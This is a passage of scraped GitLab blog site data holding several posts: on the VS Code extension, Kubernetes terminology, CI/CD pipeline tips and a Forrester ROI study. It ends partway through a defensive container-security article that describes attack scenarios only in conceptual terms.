[here](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/codebuild-on-fargate-example/).\n\n## Cleanup\n\nIf you want to perform a cleanup after testing the custom executor with AWS Fargate and CodeBuild, you should remove the following objects:\n\n- AWS S3 bucket created in [Step 1](#step-1-create-an-amazon-s3-bucket)\n- AWS CodeBuild project created in [Step 2](#step-2-create-an-aws-codebuild-project)\n- `RUN` command added to the CI container image in [Step 3](#step-3-build-the-ci-container-image)\n- The `buildspec.yml` file created in [Step 4](#step-4-add-codebuild-configuration-to-the-repository)\n- The `codebuild.sh` file created in [Step 5](#step-5-set-up-the-gitlab-ci-job)\n- The `dockerbuild` job added to `.gitlab-ci.yml` in [Step 5](#step-5-set-up-the-gitlab-ci-job)\n- IAM policy, user (and maybe group) created in [Step 6](#step-6-set-up-aws-credentials)\n- GitLab CI/CD variables in [Step 6](#step-6-set-up-aws-credentials)\n\nRead more about GitLab and AWS:\n-[How autoscaling GitLab CI works on AWS Fargate](/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate/)\n-[GitLab 12.10 released with Requirements Management and Autoscaling CI on AWS Fargate](/releases/2020/04/22/gitlab-12-10-released/)\n-[Announcing 32/64-bit Arm Runner Support for AWS Graviton2](/blog/gitlab-arm-aws-graviton2-solution/)\n\nCover image by [Lucas van Oort](https://unsplash.com/@switch_dtp_fotografie) on [Unsplash](https://unsplash.com)\n{: .note}\n",[110,232,696],{"slug":22511,"featured":6,"template":678},"aws-fargate-codebuild-build-containers-gitlab-runner","content:en-us:blog:aws-fargate-codebuild-build-containers-gitlab-runner.yml","Aws Fargate Codebuild Build Containers Gitlab Runner","en-us/blog/aws-fargate-codebuild-build-containers-gitlab-runner.yml","en-us/blog/aws-fargate-codebuild-build-containers-gitlab-runner",{"_path":22517,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22518,"content":22524,"config":22528,"_id":22530,"_type":16,"title":22531,"_source":17,"_file":22532,"_stem":22533,"_extension":20},"/en-us/blog/use-gitlab-with-vscode",{"title":22519,"description":22520,"ogTitle":22519,"ogDescription":22520,"noIndex":6,"ogImage":22521,"ogUrl":22522,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22522,"schema":22523},"How we created a GitLab Workflow Extension for VS Code","Now you can leverage GitLab from within Visual Studio Code with our official GitLab Workflow Extension.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681469/Blog/Hero%20Images/gitlab-vscode-blog-image2.jpg","https://about.gitlab.com/blog/use-gitlab-with-vscode","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we created a GitLab Workflow Extension for VS Code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Roman Kuba\"}],\n        \"datePublished\": \"2020-07-31\",\n      }",{"title":22519,"description":22520,"authors":22525,"heroImage":22521,"date":22507,"body":22526,"category":734,"tags":22527},[19598],"\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-08-04.\n{: .alert .alert-info .note}\n\nThe people who work at GitLab are encouraged to build the things they want and need, which helps us expand the ways we work with our growing product. We're thrilled to announce that we've created an official GitLab Workflow Extension for VS Code.\n\n## How did we get here?\n\n[More than two years ago](/blog/gitlab-vscode-extension/), [Fatih Acet](https://gitlab.com/fatihacet), a former senior frontend engineer, [Plan](/handbook/engineering/development/dev/plan-project-management/), started working on a [VS Code extension](/blog/gitlab-vscode-extension/) to allow users to interact with GitLab from within their code editor. At GitLab, [everything starts with a Merge Request](/handbook/communication/#start-with-a-merge-request), which is exactly how Fatih started building the extension. Fatih, along with more than 25 contributors, continued to expand on the extension by adding new features. The extension has been installed more than 160,000 times.\n\nIt’s been remarkable to see the way the community collaborated to build the extension, making it a tool that is valuable to their work. The GitLab Workflow Extension is the perfect case study of how [developers can create meaningful work at this company](/direction/create/editor_extension/#where-we-are-headed).\n\nWhen Fatih decided to move on from GitLab in March 2020, we had an opportunity to take over the GitLab Workflow Extension, turning it into a tool GitLab would officially maintain and support. We jumped at the opportunity to maintain an auxilary project outside of the main GitLab project. As we continue to move fast and create the best experiences possible for our users, we expect this extension to become a [key component of our strategy](/direction/create/editor_extension/#overview).\n\n## How to use the extension\n\nIf you want to start using the extension, you can install it from within VS Code directly by searching for [GitLab Workflow](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) which is now published through an official GitLab account.\n\nIf you were already using the extension, it automatically updated to the GitLab publisher, and you might have already seen a few updates coming in.\n\n## What improvements have we made?\n\nWhen we took over the extension, we worked with other teams across GitLab to immediately perform an [application security review](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/170). Along the way, we made sure to create a [security release-process](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/master/docs/security-releases.md). We did this to ensure that users were safe to continue using the extension and so that we could fix any problems that surface. We also worked through some automation to help with publishing the extension and [begin to lay a foundation for future testing](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/199).\n\nWe also shipped [version 3.0.0](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/master/CHANGELOG.md#v300-2020-06-25) which was spearheaded by our community and helped to resolve some long-standing bugs and issues. The extension has come a long way in just a few short weeks. We’re excited by the progress we’re making and the engagement we’re continuing to see, but there is still a lot that needs to be done.\n\n## What’s next?\n\nNothing in software development is perfect, and so we are aware of the shortcomings of the extension, some inconsistencies, and some long open feature requests. You can see our many to-dos on our GitLab Workflow Extension [issues list](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues). For now, we’re focused on triaging the existing issues and capturing any new bugs. You should see much more involvement from our [Create:Editor](/handbook/engineering/development/dev/create/ide/) team as we continue these efforts, and we’re looking forward to engaging with the community on these items.\n\nWe’re also evaluating the best path forward for maintaining the extension, by focusing on the test-suite and code-quality, so we won’t break things by accident. You can join us in our discussion on [this issue](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/204). While this might slow down some new feature releases in the short-term, we’re confident these are the right long-term decisions to ensure you have an extension you can trust, so you can make the GitLab Extension an integral part of your workflow.\n\n## Everyone can contribute\n\nThe extension is open source, and we're improving the \"[How to Contribute](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/master/CONTRIBUTING.md)\" guides alongside some other documentation. We want to have a space where everyone can contribute and make this extension better for all of us.\n\n## Check out more engineering content on GitLab\n\n- [How to build containers with the AWS Fargate Custom Executor for GitLab Runner and AWS CodeBuild](/blog/aws-fargate-codebuild-build-containers-gitlab-runner/)\n- [How application security engineers can use GitLab to secure their projects](/blog/secure-stage-for-appsec/)\n- [Best practices to keep your Kubernetes runners moving](/blog/best-practices-for-kubernetes-runners/)\n\n\n## Read more on Visual Studio and GitLab:\n\n- [Four new tools for your Visual Studio Code and GitLab tool belt](/blog/vscode-workflow-new-features/)\n\n- [Visual Studio code editor: Eight tips for using GitLab VS Code](/blog/vscode-workflows-for-working-with-gitlab/)\n\n- [VS Code extension development with GitLab](/blog/vscode-extension-development-with-gitlab/)\n\n- [How to do GitLab merge request reviews in VS Code](/blog/mr-reviews-with-vs-code/)\n\n",[942,676],{"slug":22529,"featured":6,"template":678},"use-gitlab-with-vscode","content:en-us:blog:use-gitlab-with-vscode.yml","Use Gitlab With Vscode","en-us/blog/use-gitlab-with-vscode.yml","en-us/blog/use-gitlab-with-vscode",{"_path":22535,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22536,"content":22541,"config":22546,"_id":22548,"_type":16,"title":22549,"_source":17,"_file":22550,"_stem":22551,"_extension":20},"/en-us/blog/kubernetes-terminology",{"title":22537,"description":22538,"ogTitle":22537,"ogDescription":22538,"noIndex":6,"ogImage":13319,"ogUrl":22539,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22539,"schema":22540},"Understand Kubernetes terminology from namespaces to pods","Kubernetes can be a critical piece of successful DevOps but there's a lot to learn. We explain the terms and share a hands-on demo.","https://about.gitlab.com/blog/kubernetes-terminology","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Understand Kubernetes terminology from namespaces to pods\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-07-30\",\n      }",{"title":22537,"description":22538,"authors":22542,"heroImage":13319,"date":22543,"body":22544,"category":8943,"tags":22545},[11618],"2020-07-30","\n\n_If you're brand new to Kubernetes, you'll want to start with our [Kubernetes 101 guide](/blog/kubernetes-101/)._\n\nKubernetes and containers are often seen as two key elements in a [successful DevOps practice](/topics/devops/). But there's no question that Kubernetes can be intimidating to those not familiar with it. In fact, our [2020 Global DevSecOps Survey](/developer-survey/) found just 38% of respondents are actively using Kubernetes today while 50% are not. Anecdotally though, interest in Kubernetes is very high:\n\n_\"We are on the path to get our monolithic server into a sert of microservices and the goal is to use Kubernetes to help on this side.\"_\n\n_\"We're trying to get there.\"_\n\n_\"It's a priority for our platform team.\"_\n\nThis past spring staff distribution engineer [Jason Plum](/company/team/#WarheadsSE) and senior distribution engineer [Gerard Hickey](/company/team/#ghickey) walked attendees at GitLab's company-wide meeting Contribute through something they called _Kubernetes 102_ that looked at the practical building blocks required for a cloud-native application on [Kubernetes](https://kubernetes.io). As Jason puts it in the [video](https://www.youtube.com/watch?v=jdKXBJLHP8I&feature=emb_title), \"what we're trying to do here is to not just say, 'Look at all the magic we do' but actually explain the things we're doing right.\" Although this was a \"laptops out\" demo, here's a look at the key concepts and Kubernetes terminology you'll need to understand followed by a link to the entire presentation if you'd like to dive right in.\n\n## Start with containers\n\nA container is not a jail, but a jail is a container, Jason explains. \"A container is a way of packaging an application so that it is portable. It's contained, hence (the term) 'container' and it's immutable. It's the runtime requirements to actually execute and package that up in an immutable form that you can hand to someone.\"\n\nBut containers can have a tendency to get out of hand so you need something to help keep track. That's where Kubernetes comes in, Jason says in the presentation. \"So what is Kubernetes at a high level? I've seen orchestrator, I've seen management system and I've seen coordinator. Kubernetes is all of those things.\"\n\nKubernetes weaves both containers and software-defined networking together, creating \"a platform you can deploy onto with a clear syntax,\" Jason says. \"That syntax is replicable and not vendor bound so that you can deploy it anywhere that supports the official behaviors. Its job is to start containers, keep them running and make sure they're still running. That's what its job is really about.\"\n\n## Unpacking the moving parts\n\nIf you want to get more familiar with Kubernetes, it helps to understand the unique terminology, Jason stresses. Here are key terms that will help to explain the processes involved in running Kubernetes:\n\n**Namespaces**: In Kubernetes, [the namespaces](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/) is effectively your working area. It's like a project in GCP or a similar thing in AWS.\n\n**Pods**: [A pod](https://kubernetes.io/docs/concepts/workloads/pods/) is effectively a unit of work. It is a way to describe a series of containers, the volumes they might share, and interconnections that those containers within the pod may need. You can have a pod that has a single container in it (or more than one container). Pods are flexible, too: Update one and it becomes version two, and version one is taken out, giving you a rolling update. As Jason spells out, \"It gives us a way to say, 'I always want to have three and still be able to migrate an application live from one version to another version without having downtime.'\n\n**Service**: Kubernetes \"has a concept of [a service](https://kubernetes.io/docs/concepts/services-networking/service/),\" Jason says. \"It can be thought of as like a load balancer for pods. It knows which pods are alive, healthy, and ready to respond so that when we try to access whatever pod we want to get to instead of to connect to the deployment and getting the one we get, and then always asking that pod for work.\"\n\n**Ingress**: This works with the service to make sure everything ends up in the right place. [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) can also provide load balancing.\n\n**ConfigMaps**: This is an API object for storing information in key-value pairs. \"A [ConfigMap](https://kubernetes.io/docs/concepts/configuration/configmap/) is very useful for doing things like pre-stashing environment variables or files that can actually be mounted directly into pods without actually having to have an actual file system somewhere,\" Jason says, adding that they're not meant for confidential data.\n\n**Secrets**: [Secrets](https://kubernetes.io/docs/concepts/configuration/secret/) are an object and a place to store confidential information as the name implies.\n\nNow that you have the Kubernetes terminology down, watch the entire presentation here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/jdKXBJLHP8I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Read more about Kubernetes**:\n\n* [Keep your Kubernetes runners moving](/blog/best-practices-for-kubernetes-runners/)\n\n* Set up GitLab CI/CD on [Google Kubernetes Engine](/blog/gitlab-ci-on-google-kubernetes-engine/) in 15 minutes!\n\n* Create a [Kubernetes cluster](/blog/gitlab-eks-integration-how-to/) on Amazon EKS\n\nCover image by [Matti Johnson](https://unsplash.com/@matti_johnson) on [Unsplash](https://unsplash.com)\n{: .note}\n\n## Read more on Kubernetes:\n\n- [How to install and use the GitLab Kubernetes Operator](/blog/gko-on-ocp/)\n\n- [Threat modeling the Kubernetes Agent: from MVC to continuous improvement](/blog/threat-modeling-kubernetes-agent/)\n\n- [How to deploy the GitLab Agent for Kubernetes with limited permissions](/blog/setting-up-the-k-agent/)\n\n- [A new era of Kubernetes integrations on GitLab.com](/blog/gitlab-kubernetes-agent-on-gitlab-com/)\n\n- [What we learned after a year of GitLab.com on Kubernetes](/blog/year-of-kubernetes/)\n",[2509,4103,3949],{"slug":22547,"featured":6,"template":678},"kubernetes-terminology","content:en-us:blog:kubernetes-terminology.yml","Kubernetes Terminology","en-us/blog/kubernetes-terminology.yml","en-us/blog/kubernetes-terminology",{"_path":22553,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22554,"content":22560,"config":22565,"_id":22567,"_type":16,"title":22568,"_source":17,"_file":22569,"_stem":22570,"_extension":20},"/en-us/blog/effective-ci-cd-pipelines",{"title":22555,"description":22556,"ogTitle":22555,"ogDescription":22556,"noIndex":6,"ogImage":22557,"ogUrl":22558,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22558,"schema":22559},"Want a more effective CI/CD pipeline? Try our pro tips","Here’s how to take your CI/CD pipeline to the next level with hands on advice about faster builds, better security and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681447/Blog/Hero%20Images/cicdpipelines.jpg","https://about.gitlab.com/blog/effective-ci-cd-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want a more effective CI/CD pipeline? Try our pro tips\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-07-29\",\n      }",{"title":22555,"description":22556,"authors":22561,"heroImage":22557,"date":22562,"body":22563,"category":734,"tags":22564},[11618],"2020-07-29","\n\nNow that your [CI/CD pipeline](/topics/ci-cd/) is up and running, it’s time to fine-tune the performance. This hands on guide will walk you through tweaks that will improve a CI/CD pipeline’s speed, functionality, security, and integration with other tools and platforms.\n\n## Built for speed\n\nCI/CD and DevOps promises faster releases and we know it’s true: Even a basic automated pipeline is much speedier than the old days of manual handoffs. But there are ways to make the CI/CD pipeline even zippier. One straightforward option that guarantees faster builds is to [autoscale runners](/blog/making-builds-faster-autoscaling-runners/). If you have 15 minutes to spare, you can link your GitLab CI pipeline to the [Google Kubernetes engine](/blog/gitlab-ci-on-google-kubernetes-engine/). And it doesn’t get much faster than using the [Auto DevOps option](/blog/guide-to-ci-cd-pipelines/) if you’re setting up a new pipeline from scratch.\n\n## Do more with less\n\nOnce a pipeline is humming along, it’s time to think about tinkering with what you have. This is one of our favorite things to do at GitLab – we even used our CI/D pipeline to [turn our group conversation into a podcast](/blog/group-conversation-podcast/). We had an [unconventional CI/CD journey](/blog/gitlab-journey-to-cicd/), which goes a long way to explaining our overall enthusiasm for this technology.\n\nOur best advice when it comes to an effective CI/CD pipeline is to think outside the box. Need build images? It’s [easy to do](/blog/building-build-images/) with your CI/CD pipeline. You can also [create a cross-project pipeline](/blog/cross-project-pipeline/), or [build a bridge between Rust and Firebase](/blog/python-rust-and-gitlab-ci/).\n\n## Make it secure\n\nIt’s fun to play around with CI/CD functionality, but it’s critical to make sure your pipeline is secure. Start by making sure you [know the threat landscape](/blog/defend-cicd-security/). If you store key data in secrets management service [Vault](https://www.vaultproject.io), here’s how GitLab [makes the integration process easier and safer](/blog/vault-integration-process/).\n\nAnd for Jenkins users, it’s simple to [create deterministic security jobs](https://docs.gitlab.com/ee/integration/jenkins.html) from within GitLab.\n\n## Work with what you have\n\nNo effective CI/CD pipeline exists in a vacuum and to get the most out of yours it’s important to seamlessly integrate with other platforms and tools.\n\nAWS users can [set up multi-account SAM deployments](/blog/multi-account-aws-sam-deployments-with-gitlab-ci/) or [autoscale GitLab CI](/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate/) on Fargate.\n\nTeams working on Android projects can [can create a customized GitLab CI](/blog/setting-up-gitlab-ci-for-android-projects/) easily.\n\nAnd finally it’s possible to take advantage of Google’s Firebase, a backend-as-a-service tool, so you can enable [continuous deployment of database, serverless and apps](/blog/gitlab-ci-cd-with-firebase/).\n\n**Read more about CI/CD:**\n\n* [The four big benefits](/blog/positive-outcomes-ci-cd/) of CI/CD\n\n* [CI/CD challenges](/blog/modernize-your-ci-cd/) to consider\n\n* Everything you need to know about [Auto DevOps](/blog/auto-devops-explained/)\n\nCover image by [Jacek Dylag](https://unsplash.com/@dylu) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,4103,232],{"slug":22566,"featured":6,"template":678},"effective-ci-cd-pipelines","content:en-us:blog:effective-ci-cd-pipelines.yml","Effective Ci Cd Pipelines","en-us/blog/effective-ci-cd-pipelines.yml","en-us/blog/effective-ci-cd-pipelines",{"_path":22572,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22573,"content":22578,"config":22584,"_id":22586,"_type":16,"title":22587,"_source":17,"_file":22588,"_stem":22589,"_extension":20},"/en-us/blog/forrester-tei",{"title":22574,"description":22575,"ogTitle":22574,"ogDescription":22575,"noIndex":6,"ogImage":17364,"ogUrl":22576,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22576,"schema":22577},"Estimate your GitLab ROI with Forrester's economic study","Now available: A new Forrester ROI study and calculator based on real value customers got from using GitLab for SCM, CI, and CD.","https://about.gitlab.com/blog/forrester-tei","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Discover your GitLab return on investment with the Forrester Total Economic Impact™ Study and Estimator\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Colin Fletcher\"}],\n        \"datePublished\": \"2020-07-29\",\n      }",{"title":22579,"description":22575,"authors":22580,"heroImage":17364,"date":22562,"body":22582,"category":736,"tags":22583},"Discover your GitLab return on investment with the Forrester Total Economic Impact™ Study and Estimator",[22581],"Colin Fletcher","\n\nWe consistently hear from the global GitLab family (our community, customers, and really anybody interested in GitLab) that they know from experience that GitLab helps them do the work they want to do, faster and better, and that it’s a valuable, even vital, part of their success. But they often have a difficult time describing the value GitLab delivers, especially in specific, quantified ways. We also regularly hear that the hardest part about quantifying \"value\" is knowing where and how to start. \n\n**Enter the Forrester Total Economic Impact™ (TEI) of GitLab: studying real customer experiences**\n \nSo to help everyone better understand the value proposition, GitLab commissioned Forrester Consulting to conduct a [Total Economic Impact™ (TEI) study](/resources/report-forrester-tei/) examining the potential return on investment (ROI) organizations may realize by using GitLab for version control & collaboration (VC&C)/SCM, [continuous integration (CI), and continuous delivery (CD)](/topics/ci-cd/) - all use cases that represent where many teams begin or expand their use of GitLab.  \n\nTo start, GitLab customers were independently interviewed by Forrester Consulting. The interview experiences and any other data collected was then used to create multiple models which in turn generated quantified results based on the combined experiences of all of the customers studied. The data collected, resulting models, and study itself were then reviewed independently by Forrester Research analysts. GitLab stakeholders were also interviewed as part of the data gathering and review process.  \n\n**Significant results and useful tools to discover your ROI**\n\nJust a sampling of the results realized by the composite organization over an analysis period of three years, based on GitLab customer experiences, yielded these potential, quantifiable benefits in the form of:  \n\n- An overall 407% return on investment (ROI) \n- Improved development and delivery efficiency \n  - Ex. 87% improved development and delivery efficiency (reduced time), resulting in over $23 million in savings \n- Revenue from increased number of releases \n  - Ex. 12x increase in the number of revenue generating application releases in a year, resulting in $12.3 million in additional revenue \n- Improved Code Quality \n  - Ex. 80% reduction in code defects, resulting in over $16.8 million in savings \n- Savings from reducing the number of tools in use \n  - Ex. $3.7 million in savings from using four fewer tools (with their associated costs) each year  \n\nNow these results, while impressive, are based on the experiences of the GitLab customers studied and as with all models, your own unique experience will vary. As such we encourage you to spend time looking over [the study](/resources/report-forrester-tei/) to better understand where the numbers came from and how they may or may not relate to your situation and what you are working to achieve.  \n\nTo help you take the next step of estimating your own potential results, we are thrilled to make available an [online estimator](https://tools.totaleconomicimpact.com/go/gitlab/devopsplatform/index.html) that is based on the TEI study’s models. Enter your own data and you'll get a customized version of the study.  \n\n**Couldn’t have done it without you**\n\nLastly, we want to offer our deepest thanks to the incredibly generous GitLab customers who were willing to share their experiences in this way. They helped all of us in our respective journeys. Thank you! \n\n**Get started today!** \n\n- [Download the Forrester Total Economic Impact™ Study commissioned By GitLab, June 2020](/resources/report-forrester-tei/)\n- \u003Ca href=\"https://tools.totaleconomicimpact.com/go/gitlab/devopsplatform/index.html\" target=\"_blank\">Fill out your info in the online estimator and get a custom report based on the TEI study data and models\u003C/a>\n",[110,2368,4103,736,1307,4772],{"slug":22585,"featured":6,"template":678},"forrester-tei","content:en-us:blog:forrester-tei.yml","Forrester Tei","en-us/blog/forrester-tei.yml","en-us/blog/forrester-tei",{"_path":22591,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22592,"content":22597,"config":22603,"_id":22605,"_type":16,"title":22606,"_source":17,"_file":22607,"_stem":22608,"_extension":20},"/en-us/blog/container-security-in-gitlab",{"title":22593,"description":22594,"ogTitle":22593,"ogDescription":22594,"noIndex":6,"ogImage":10952,"ogUrl":22595,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22595,"schema":22596},"Get better container security with GitLab: 4 real-world examples","Containers are increasingly popular – and increasingly vulnerable. Using four threat scenarios, we step through how GitLab's built-in security features will make containers safer.","https://about.gitlab.com/blog/container-security-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get better container security with GitLab: 4 real-world examples\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Thiago Figueiró\"}],\n        \"datePublished\": \"2020-07-28\",\n      }",{"title":22593,"description":22594,"authors":22598,"heroImage":10952,"date":22600,"body":22601,"category":674,"tags":22602},[22599],"Thiago Figueiró","2020-07-28","\nThe number of web applications hosted in containers grows every day, but data from our 2020 Global DevSecOps Survey showed a majority of companies don't have a [container security](/topics/devsecops/beginners-guide-to-container-security/) strategy in place. This post shows examples of how GitLab can help increase the security of such applications and their hosting environment. We focus on web applications, but most of the security features described in this post apply to any containerized apps.\n\nDetailed descriptions and examples of the tactics and techniques mentioned in this post can be found in the [MITRE ATT&CK Matrix](https://attack.mitre.org/).\n\n## Threat Models\n\nTo help with our scenarios, we're taking two tactics from the MITRE ATT&CK matrix: [Initial Access](https://attack.mitre.org/tactics/TA0001/) and [Execution](https://attack.mitre.org/tactics/TA0002/). There are similar categories in other frameworks, such as the [cyber kill chain](https://en.wikipedia.org/wiki/Kill_chain#The_cyber_kill_chain).\n\n### Initial Access\n\nIn this phase, an attacker is attempting to establish access to your computing resources through different techniques. A single one might be sufficient for the attack to succeed but, quite often, a successful compromise relies on a few different methods.\n\nThe diagram below shows three examples of how an attacker can gain access to a container hosting an application accessible from the Internet.\n\n```mermaid\ngraph LR\n  classDef default fill:#FFFFFF,stroke:#0C7CBA;\n  classDef baddie fill:#ffd6cc,stroke:#991f00;\n\n  subgraph Kubernetes Cluster\n    subgraph Container\n      subgraph Application\n        Accounts[Valid\u003Cbr>Accounts]\n        click Accounts \"https://attack.mitre.org/techniques/T1078\"\n        style Accounts fill:#FFFFFF,stroke:#0C7CBA;\n\n        Dependencies[External\u003Cbr>Dependencies]\n        click Dependencies \"https://attack.mitre.org/techniques/T1195\"\n        style Dependencies fill:#FFFFFF,stroke:#0C7CBA;\n\n        Service[Network\u003Cbr>Service]\n        click Service \"https://attack.mitre.org/techniques/T1190\"\n        style Service fill:#FFFFFF,stroke:#0C7CBA;\n      end\n    style Application fill:#fff,stroke:#cccccc;\n  end\n  style Container fill:#f0f0f5,stroke:#cccccc;\n  end\n\n  Attacker -- Supply chain attack --> Dependencies\n  Attacker -- Exploit --> Service\n  Attacker -- Exposed Credentials --> Accounts\n\n  class Attacker baddie\n\n```\n\nThere are different ways threat vectors can be exploited but, to demonstrate GitLab's features, let's pick some specific examples of how it can happen. None of these are made-up by the way; they have all happened - and continue to happen - in the wild.\n\n1. **Exposed Credentials**. Someone with legitimate access to your systems saved valid account credentials in an application's code repository.\n1. **Supply Chain Attack**. There's no apparent vulnerability in the application itself but the attacker managed to introduce one in an external dependency utilized by the application, so now it, too, is vulnerable.\n1. **Exploit**. The application is vulnerable to command execution because it doesn't validate user input properly.\n\n### Execution\n\nAt this point, the attacker has:\n\n1. Acquired credentials that allow access to most areas of the web application.\n1. Discovered that the application is vulnerable to remote code execution.\n1. Introduced a different vulnerability to the application via an external dependency.\n\nThe next objective is to use one or more of these assets to execute instructions of their choice on the target systems. The diagram below shows different ways this can be accomplished.\n\n```mermaid\ngraph LR\n  classDef default fill:#FFFFFF,stroke:#0C7CBA;\n  classDef cl-container fill:#f0f0f5,stroke:#cccccc;\n  classDef baddie fill:#ffd6cc,stroke:#991f00;\n\n  subgraph Infrastructure\n    subgraph Container\n      Application\n      Others\n      Exploit[Executable Exploit]\n      Shell[Reverse Shell]\n\n      Application -- Deliver, Execute --> Exploit\n      Application -- Execute --> Shell\n      Others[Other\u003Cbr>Techniques] -- Deliver, Execute --> Exploit\n      Exploit -- Modify --> Filesystem\n      Exploit -- Spawn --> Shell\n    end\n\n    subgraph Containers\n      Internal(Internal Service)\n    end\n    Exploit -- Lateral Movement --> Internal\n    class Container,Containers cl-container\n  end\n\n  Shell -- Internet --> Attacker\n\n  class Attacker,Exploit,Others,Shell baddie\n\n```\n\nAgain we're choosing scenarios that fit our examples.\n\n1. **Deliver**, **Execute**. The attacker has an exploit that they would like to deliver and execute.\n   1. The vulnerable application is tricked into writing arbitrary content to the container file system.\n   1. The vulnerable application is tricked into executing arbitrary commands.\n   1. The external dependency provides another, unspecified way to deliver and execute malicious code.\n1. **Spawn**. Execution of malicious code spawns a [reverse shell](https://en.wikipedia.org/wiki/Shell_shoveling) that connects to the attacker and waits for commands.\n1. **Modify**. The malicious code modifies configurations on the container's file system that further exposes the container to attack, or perhaps, escalates the attacker's privileges.\n1. **Lateral Movement**. The attacker's exploit probes other hosts in the container's network, managing to find and access an internal service that wasn't exposed to the Internet in the first place.\n\n## How GitLab Helps Stop These Attacks\n\nAs part of the [Secure](https://about.gitlab.com/direction/secure/) and [Protect](https://about.gitlab.com/direction/govern/) Stages, GitLab delivered and continues to improve features that minimize your security risk and help you [shift security left](/blog/efficient-devsecops-nine-tips-shift-left/).\n\nLet's see how these GitLab features would prevent and detect the attacks described in our example scenarios.\n\n### Initial Access\n\nBy [shifting left](/blog/toolchain-security-with-gitlab/), all techniques in this phase could be detected even before the application was deployed to an Internet-accessible environment.\n\nThis is done by taking advantage of [GitLab Secure](https://docs.gitlab.com/ee/user/application_security/) features as part of an application's [Continuous Integration (CI)](https://docs.gitlab.com/ee/ci/) builds.\n\n#### Exposed Credentials\n\nA [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) scan reports several types of secrets accidentally or intentionally committed to your code repository, allowing the merge request author to remove and invalidate the exposed secret before it can be used in an attack.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/W2tjcQreDwQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n#### Supply Chain Attack\n\nOne type of supply chain attack is against the open-source code libraries used by your application. [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) reports known vulnerabilities in dependencies used by your application. Scanners for multiple languages are available and kept up-to-date with a database of known vulnerabilities so that potential vulnerabilities are identified and reported as part of your CI builds.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uGhS2Wh6PBE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n#### Exploit\n\nFor the examples given in this category, there are two ways GitLab mitigates and prevents the described attacks. The first is [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/), another scanner that can be run as a CI job. The second way is through the GitLab Web Application Firewall (WAF), part of our [Protect Stage](/handbook/engineering/development/sec/govern/).\n\nBecause DAST executes against a running deployment of your application, it detects potential problems that can't be discovered by merely analyzing an application's source code. In our example, the attacker relies on an input validation weakness in the application that might be identified and reported as a [server side code injection](https://www.zaproxy.org/docs/alerts/90019/) by DAST.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/wxcEiuUasyM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nEffective security is implemented in layers and, should DAST fail to identify a vulnerability, we can sometimes rely on WAF to block malicious requests to the application.\n\nA WAF can monitor and block web traffic based on a set of pre-configured rules that determine if a request is potentially malicious or a response indicates compromised security. GitLab's WAF comes with the [OWASP ModSecurity Core Rule Set](https://owasp.org/www-project-modsecurity-core-rule-set/) installed by default, which will successfully prevent various forms of [shell injection](https://github.com/coreruleset/coreruleset/blob/7776fe23f127fd2315bad0e400bdceb2cabb97dc/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf#L415) and [SQL injection](https://github.com/coreruleset/coreruleset/blob/v3.4/dev/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf) attacks.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe 